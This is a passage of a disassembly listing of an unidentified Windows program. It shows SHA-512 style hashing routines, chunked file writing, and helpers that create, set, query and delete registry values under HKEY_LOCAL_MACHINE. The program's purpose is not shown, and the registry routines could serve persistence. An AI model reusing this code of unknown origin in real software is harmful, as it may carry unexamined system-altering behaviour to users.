		mov	[esp+170h+var_30], ecx
		jmp	short loc_416C44
; ---------------------------------------------------------------------------

loc_416C2F:				; CODE XREF: sub_414BC0+1F7Ej
		mov	edx, [esp+170h+var_C0]
		mov	eax, [esp+170h+var_BC]
		mov	[esp+170h+var_30], edx

loc_416C44:				; CODE XREF: sub_414BC0+206Dj
		mov	ecx, [esp+170h+var_11C]
		mov	ebx, ecx
		mov	[esp+170h+var_2C], eax
		mov	eax, [esp+170h+var_120]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_11C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		shr	ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_158]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_11C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_154]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_14C]
		not	edi
		and	edi, [esp+170h+var_150]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA60[eax*8]
		adc	esi, ds:dword_41FA64[eax*8]
		add	edx, [esp+170h+var_30]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_2C]
		add	ecx, edx
		mov	edx, [esp+170h+var_144]
		adc	edx, esi
		add	eax, ecx
		adc	[esp+170h+var_124], edx
		mov	[esp+170h+var_148], ecx
		mov	ecx, [esp+170h+var_140]
		mov	[esp+170h+var_144], edx
		mov	edx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	ebp, edx
		shrd	ebx, ebp, 1Ch
		xor	edi, edi
		or	edi, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	edx, ecx, 1Eh
		shr	ebp, 1Ch
		shl	esi, 4
		or	esi, ebp
		shr	ebx, 2
		shl	ecx, 1Eh
		xor	ebp, ebp
		or	ebx, ecx
		mov	[esp+170h+var_128], eax
		or	ebp, edx
		mov	ecx, [esp+170h+var_13C]
		xor	esi, ebp
		mov	ebp, [esp+170h+var_140]
		mov	edx, ecx
		shld	ecx, ebp, 19h
		xor	edi, ebx
		shr	edx, 7
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_98]
		and	ecx, [esp+170h+var_140]
		shl	ebp, 19h
		xor	ecx, [esp+170h+var_90]
		or	edx, ebp
		xor	edi, edx
		mov	edx, [esp+170h+var_94]
		and	edx, [esp+170h+var_13C]
		xor	esi, ebx
		xor	edx, [esp+170h+var_8C]
		add	edi, ecx
		adc	esi, edx
		add	[esp+170h+var_148], edi
		adc	[esp+170h+var_144], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_416E90
		mov	eax, [esp+170h+var_B0]
		mov	ecx, [esp+170h+var_AC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_AC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_E0]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_DC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_E0]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_DC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_118]
		adc	edx, [esp+170h+var_114]
		add	ecx, [esp+170h+var_A0]
		adc	edx, [esp+170h+var_9C]
		mov	[eax+0C0h], ecx
		mov	[eax+0C4h], edx
		mov	eax, edx
		mov	[esp+170h+var_9C], eax
		mov	[esp+170h+var_1C], eax
		mov	eax, [esp+170h+var_128]
		mov	[esp+170h+var_A0], ecx
		mov	[esp+170h+var_20], ecx
		jmp	short loc_416EAC
; ---------------------------------------------------------------------------

loc_416E90:				; CODE XREF: sub_414BC0+21CEj
		mov	edx, [esp+170h+var_A0]
		mov	ecx, [esp+170h+var_9C]
		mov	[esp+170h+var_20], edx
		mov	[esp+170h+var_1C], ecx

loc_416EAC:				; CODE XREF: sub_414BC0+22CEj
		mov	ecx, [esp+170h+var_124]
		mov	ebx, ecx
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_124]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_120]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_124]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_11C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_14C]
		not	ebx
		and	ebx, [esp+170h+var_154]
		not	edi
		and	edi, [esp+170h+var_158]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA68[eax*8]
		adc	esi, ds:dword_41FA6C[eax*8]
		add	edx, [esp+170h+var_20]
		mov	eax, [esp+170h+var_150]
		adc	esi, [esp+170h+var_1C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_130], eax
		mov	[esp+170h+var_14C], ecx
		mov	[esp+170h+var_150], eax
		adc	[esp+170h+var_12C], ecx
		mov	eax, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_148]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_148]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	ebp, [esp+170h+var_134]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_138]
		and	ebp, eax
		mov	eax, [esp+170h+var_13C]
		and	eax, [esp+170h+var_134]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_150], edi
		adc	[esp+170h+var_14C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_4170DA
		mov	eax, [esp+170h+var_C0]
		mov	ecx, [esp+170h+var_BC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_BC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_100]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_FC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_100]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_FC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C8]
		adc	edx, [esp+170h+var_C4]
		add	ecx, [esp+170h+var_E0]
		adc	edx, [esp+170h+var_DC]
		mov	[eax+0C8h], ecx
		mov	[eax+0CCh], edx
		mov	eax, edx
		mov	[esp+170h+var_E0], ecx
		mov	[esp+170h+var_DC], eax
		mov	[esp+170h+var_10], ecx
		jmp	short loc_4170EF
; ---------------------------------------------------------------------------

loc_4170DA:				; CODE XREF: sub_414BC0+2429j
		mov	edx, [esp+170h+var_E0]
		mov	eax, [esp+170h+var_DC]
		mov	[esp+170h+var_10], edx

loc_4170EF:				; CODE XREF: sub_414BC0+2518j
		mov	ecx, [esp+170h+var_12C]
		mov	ebx, ecx
		mov	[esp+170h+var_C], eax
		mov	eax, [esp+170h+var_130]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_12C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_128]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_12C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_124]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_154]
		not	ebx
		and	ebx, [esp+170h+var_11C]
		not	edi
		and	edi, [esp+170h+var_120]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA70[eax*8]
		adc	esi, ds:dword_41FA74[eax*8]
		add	edx, [esp+170h+var_10]
		mov	eax, [esp+170h+var_158]
		adc	esi, [esp+170h+var_C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_138], eax
		mov	[esp+170h+var_154], ecx
		mov	[esp+170h+var_158], eax
		adc	[esp+170h+var_134], ecx
		mov	ecx, [esp+170h+var_150]
		mov	eax, [esp+170h+var_14C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_150]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		mov	ebx, ecx
		and	ecx, edx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		mov	ebp, eax
		xor	ebp, [esp+170h+var_13C]
		mov	edx, ecx
		and	ebp, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_13C]
		and	eax, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_158], edi
		mov	edi, [esp+170h+var_15C]
		adc	[esp+170h+var_154], esi
		add	edi, 10h
		cmp	edi, 50h
		mov	[esp+170h+var_15C], edi
		jb	loc_414D50
		mov	eax, [esp+170h+var_4]
		mov	edx, [esp+170h+var_158]
		add	[eax], edx
		mov	edx, [esp+170h+var_154]
		pop	edi
		adc	[eax+4], edx
		mov	eax, [esp+16Ch+arg_0]
		mov	edx, [esp+16Ch+var_150]
		add	[eax+18h], edx
		mov	edx, [esp+16Ch+var_14C]
		pop	esi
		adc	[eax+1Ch], edx
		mov	edx, [esp+168h+var_148]
		add	[eax+20h], edx
		mov	edx, [esp+168h+var_144]
		pop	ebp
		adc	[eax+24h], edx
		mov	edx, [esp+164h+var_140]
		add	[eax+28h], edx
		mov	edx, [esp+164h+var_134]
		pop	ebx
		adc	[eax+2Ch], ecx
		mov	ecx, [esp+160h+var_138]
		add	[eax+30h], ecx
		mov	ecx, [esp+160h+var_130]
		adc	[eax+34h], edx
		add	[eax+38h], ecx
		mov	edx, [esp+160h+var_12C]
		mov	ecx, [esp+160h+var_128]
		adc	[eax+3Ch], edx
		add	[eax+40h], ecx
		mov	edx, [esp+160h+var_124]
		mov	ecx, [esp+160h+var_120]
		adc	[eax+44h], edx
		add	[eax+48h], ecx
		mov	edx, [esp+160h+var_11C]
		adc	[eax+4Ch], edx
		add	esp, 160h
		retn
sub_414BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172D0	proc near		; CODE XREF: .text:00417552p
					; sub_41BDAA+CAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	ecx, [ebx]
		push	ebp
		and	ecx, 7Fh
		push	esi
		lea	esi, [ecx+7]
		shr	esi, 3
		push	edi
		mov	[esp+10h+var_4], ecx
		jz	short loc_417335
		lea	edx, [ebx+esi*8+50h]

loc_4172E9:				; CODE XREF: sub_4172D0+5Fj
		mov	eax, [edx-8]
		mov	ecx, [edx-4]
		sub	edx, 8
		mov	edi, eax
		sub	esi, 1
		ror	edi, 8
		and	edi, 0FF00FF00h
		rol	eax, 8
		and	eax, 0FF00FFh
		or	edi, eax
		mov	ebp, ecx
		xor	eax, eax
		ror	ebp, 8
		and	ebp, 0FF00FF00h
		rol	ecx, 8
		and	ecx, 0FF00FFh
		or	ebp, ecx
		xor	ecx, ecx
		or	eax, ebp
		or	edi, ecx
		test	esi, esi
		mov	[edx], eax
		mov	[edx+4], edi
		jnz	short loc_4172E9
		mov	ecx, [esp+10h+var_4]

loc_417335:				; CODE XREF: sub_4172D0+13j
		mov	eax, ecx
		and	eax, 7
		add	eax, eax
		add	eax, eax
		mov	esi, dword_425BA8[eax+eax]
		mov	edi, dword_425BAC[eax+eax]
		add	eax, eax
		mov	edx, ecx
		shr	edx, 3
		and	esi, [ebx+edx*8+50h]
		and	edi, [ebx+edx*8+54h]
		or	esi, dword_425BE8[eax]
		or	edi, dword_425BEC[eax]
		cmp	ecx, 6Fh
		mov	[ebx+edx*8+50h], esi
		mov	[ebx+edx*8+54h], edi
		jbe	short loc_41739A
		cmp	ecx, 78h
		jnb	short loc_41738D
		mov	dword ptr [ebx+0C8h], 0
		mov	dword ptr [ebx+0CCh], 0

loc_41738D:				; CODE XREF: sub_4172D0+A7j
		push	ebx
		call	sub_414BC0
		add	esp, 4
		xor	edx, edx
		jmp	short loc_4173A2
; ---------------------------------------------------------------------------

loc_41739A:				; CODE XREF: sub_4172D0+A2j
		add	edx, 1
		cmp	edx, 0Eh
		jnb	short loc_4173C8

loc_4173A2:				; CODE XREF: sub_4172D0+C8j
		mov	ecx, 0Dh
		sub	ecx, edx
		add	ecx, ecx
		add	ecx, ecx
		lea	esi, [ebx+edx*8+50h]
		add	ecx, ecx
		shr	ecx, 2
		lea	edi, [esi+8]
		mov	dword ptr [esi], 0
		mov	dword ptr [esi+4], 0
		rep movsd

loc_4173C8:				; CODE XREF: sub_4172D0+D0j
		mov	edx, [ebx+8]
		mov	esi, [ebx+0Ch]
		mov	ecx, [ebx+4]
		mov	eax, [ebx]
		shld	esi, edx, 3
		add	edx, edx
		mov	edi, ecx
		shld	ecx, eax, 3
		add	edx, edx
		add	eax, eax
		add	edx, edx
		add	eax, eax
		shr	edi, 1Dh
		xor	ebp, ebp
		or	edx, edi
		add	eax, eax
		or	esi, ebp
		push	ebx
		mov	[ebx+0C0h], edx
		mov	[ebx+0C4h], esi
		mov	[ebx+0C8h], eax
		mov	[ebx+0CCh], ecx
		call	sub_414BC0
		add	esp, 4
		xor	esi, esi

loc_417415:				; CODE XREF: sub_4172D0+171j
		mov	ecx, esi
		not	ecx
		and	ecx, 7
		mov	edx, esi
		shr	edx, 3
		mov	eax, [ebx+edx*8+10h]
		mov	edx, [ebx+edx*8+14h]
		add	ecx, ecx
		add	ecx, ecx
		add	ecx, ecx
		call	sub_411C90
		mov	ecx, [esp+10h+arg_0]
		mov	[esi+ecx], al
		add	esi, 1
		cmp	esi, 40h
		jb	short loc_417415
		pop	edi
		pop	esi
		pop	ebp
		pop	ecx
		retn
sub_4172D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417450	proc near		; CODE XREF: sub_41BDAA+A3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebx
		mov	ebx, [esp+10h+arg_4]
		mov	eax, [ebx]
		push	ebp
		mov	ebp, [esp+14h+arg_0]
		push	esi
		push	edi
		and	eax, 7Fh
		mov	edi, 80h
		sub	edi, eax
		mov	esi, ecx
		xor	ecx, ecx
		add	[ebx], ebp
		adc	[ebx+4], ecx
		mov	edx, [ebx+4]
		cmp	edx, ecx
		ja	short loc_41748B
		jb	short loc_417483
		mov	ecx, [ebx]
		cmp	ecx, ebp
		jnb	short loc_41748B

loc_417483:				; CODE XREF: sub_417450+2Bj
		add	dword ptr [ebx+8], 1
		adc	dword ptr [ebx+0Ch], 0

loc_41748B:				; CODE XREF: sub_417450+29j
					; sub_417450+31j
		cmp	ebp, edi
		jb	loc_41752F

loc_417493:				; CODE XREF: sub_417450+D9j
		push	edi
		lea	edx, [ebx+eax+50h]
		push	esi
		push	edx
		call	sub_407FA0
		add	esi, edi
		add	esp, 0Ch
		sub	ebp, edi
		mov	[esp+1Ch+var_4], esi
		mov	[esp+1Ch+arg_0], ebp
		mov	edi, 80h
		mov	[esp+1Ch+var_8], 0
		mov	esi, 10h
		lea	edx, [ebx+0D0h]

loc_4174C6:				; CODE XREF: sub_417450+BCj
		mov	eax, [edx-8]
		mov	ecx, [edx-4]
		sub	edx, 8
		mov	ebx, eax
		sub	esi, 1
		ror	ebx, 8
		and	ebx, 0FF00FF00h
		rol	eax, 8
		and	eax, 0FF00FFh
		or	ebx, eax
		mov	ebp, ecx
		xor	eax, eax
		ror	ebp, 8
		and	ebp, 0FF00FF00h
		rol	ecx, 8
		and	ecx, 0FF00FFh
		or	ebp, ecx
		xor	ecx, ecx
		or	eax, ebp
		or	ebx, ecx
		test	esi, esi
		mov	[edx], eax
		mov	[edx+4], ebx
		jnz	short loc_4174C6
		mov	ebx, [esp+1Ch+arg_4]
		push	ebx
		call	sub_414BC0
		mov	ebp, [esp+20h+arg_0]
		mov	eax, [esp+20h+var_8]
		mov	esi, [esp+20h+var_4]
		add	esp, 4
		cmp	ebp, edi
		jnb	loc_417493

loc_41752F:				; CODE XREF: sub_417450+3Dj
		push	ebp
		lea	edx, [eax+ebx+50h]
		push	esi
		push	edx
		call	sub_407FA0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_417450	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ecx
		push	eax
		call	sub_4172D0
		add	esp, 4
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41755C	proc near		; CODE XREF: sub_41755C+D5p
					; sub_41AFA7+667p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_417575
		mov	ecx, [ebp+arg_4]
		shr	ecx, 18h
		or	cl, 1
		jmp	short loc_41757B
; ---------------------------------------------------------------------------

loc_417575:				; CODE XREF: sub_41755C+Cj
		mov	cl, byte ptr [ebp+arg_4+3]
		and	cl, 0FEh

loc_41757B:				; CODE XREF: sub_41755C+17j
		movzx	eax, word ptr [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_417598
		lea	edx, [ebx+18h]
		mov	[ebp+arg_14], ebx
		or	cl, 2
		mov	[ebp+arg_2B], 0
		jmp	short loc_4175A9
; ---------------------------------------------------------------------------

loc_417598:				; CODE XREF: sub_41755C+2Bj
		mov	dx, word ptr [ebp+arg_24]
		add	eax, 0FFFFFFE8h
		mov	[ebp+arg_14], eax
		and	cl, 0FDh
		mov	[ebp+arg_2B], 1

loc_4175A9:				; CODE XREF: sub_41755C+3Aj
		movzx	eax, dx
		push	eax
		mov	byte ptr [ebp+arg_4+3],	cl
		mov	[ebp+arg_C], dx
		mov	[ebp+var_4], eax
		call	sub_403AA0
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_417648
		push	6
		pop	ecx
		mov	edi, eax
		lea	esi, [ebp+arg_4]
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_407FA0
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	short loc_41763F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_41763F
		push	[ebp+arg_20]
		call	sub_4039C3
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_41763B
		push	0
		push	[ebp+arg_24]
		sub	ebx, edi
		push	ebx
		add	edi, esi
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		lea	esi, [ebp+arg_4]
		rep movsd
		call	sub_41755C
		add	esp, 2Ch
		jmp	short loc_41764A
; ---------------------------------------------------------------------------

loc_41763B:				; CODE XREF: sub_41755C+B8j
		mov	al, 1
		jmp	short loc_41764A
; ---------------------------------------------------------------------------

loc_41763F:				; CODE XREF: sub_41755C+A1j
					; sub_41755C+A9j
		push	[ebp+arg_20]
		call	sub_4039C3
		pop	ecx

loc_417648:				; CODE XREF: sub_41755C+66j
		xor	al, al

loc_41764A:				; CODE XREF: sub_41755C+DDj
					; sub_41755C+E1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41755C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41764F	proc near		; CODE XREF: sub_417776+154p
					; sub_417909+152p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		push	80000002h
		call	ds:off_41D004
		test	eax, eax
		jz	short loc_417684
		push	[ebp+var_4]
		call	ds:dword_41D010	; RegCloseKey
		xor	al, al

loc_417681:				; CODE XREF: sub_41764F+68j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417684:				; CODE XREF: sub_41764F+25j
		mov	eax, [ebp+arg_8]
		push	esi
		lea	esi, [eax+1]

loc_41768B:				; CODE XREF: sub_41764F+41j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41768B
		sub	eax, esi
		push	eax
		push	[ebp+arg_8]
		push	1
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:off_41D00C
		test	eax, eax
		pop	esi
		jz	short loc_4176B9

loc_4176AC:				; CODE XREF: sub_41764F+6Cj
		push	[ebp+var_4]
		call	ds:dword_41D010	; RegCloseKey
		mov	al, bl
		jmp	short loc_417681
; ---------------------------------------------------------------------------

loc_4176B9:				; CODE XREF: sub_41764F+5Bj
		mov	bl, 1
		jmp	short loc_4176AC
sub_41764F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176BD	proc near		; CODE XREF: sub_417776+113p
					; sub_417909+100p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	80000002h
		call	ds:off_41D02C
		test	eax, eax
		jnz	short loc_417705
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+arg_0]
		push	eax
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:off_41D008
		test	eax, eax
		jnz	short loc_417705
		push	[ebp+var_4]
		call	ds:dword_41D010	; RegCloseKey
		mov	al, 1
		leave
		retn
; ---------------------------------------------------------------------------

loc_417705:				; CODE XREF: sub_4176BD+1Cj
					; sub_4176BD+39j
		push	[ebp+var_4]
		call	ds:dword_41D010	; RegCloseKey
		push	[ebp+arg_10]
		push	0
		push	[ebp+arg_C]
		call	sub_407F20
		add	esp, 0Ch
		xor	al, al
		leave
		retn
sub_4176BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417722	proc near		; CODE XREF: sub_419C67+134p
					; sub_41A28F+F2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41D004
		test	eax, eax
		jz	short loc_417755
		push	[ebp+var_4]
		call	ds:dword_41D010	; RegCloseKey
		xor	al, al

loc_417752:				; CODE XREF: sub_417722+4Ej
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417755:				; CODE XREF: sub_417722+23j
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_41D000	; RegDeleteValueA
		test	eax, eax
		jz	short loc_417772

loc_417765:				; CODE XREF: sub_417722+52j
		push	[ebp+var_4]
		call	ds:dword_41D010	; RegCloseKey
		mov	al, bl
		jmp	short loc_417752
; ---------------------------------------------------------------------------

loc_417772:				; CODE XREF: sub_417722+41j
		mov	bl, 1
		jmp	short loc_417765
sub_417722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=94h


sub_417776	proc near		; CODE XREF: sub_41C28D:loc_41C5D3p

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-94h]
		sub	esp, 114h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+94h+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, 100h
		push	edi
		call	sub_402A08
		mov	esi, eax
		push	edi
		mov	[ebp+94h+var_110], esi
		call	sub_402A08
		push	edi
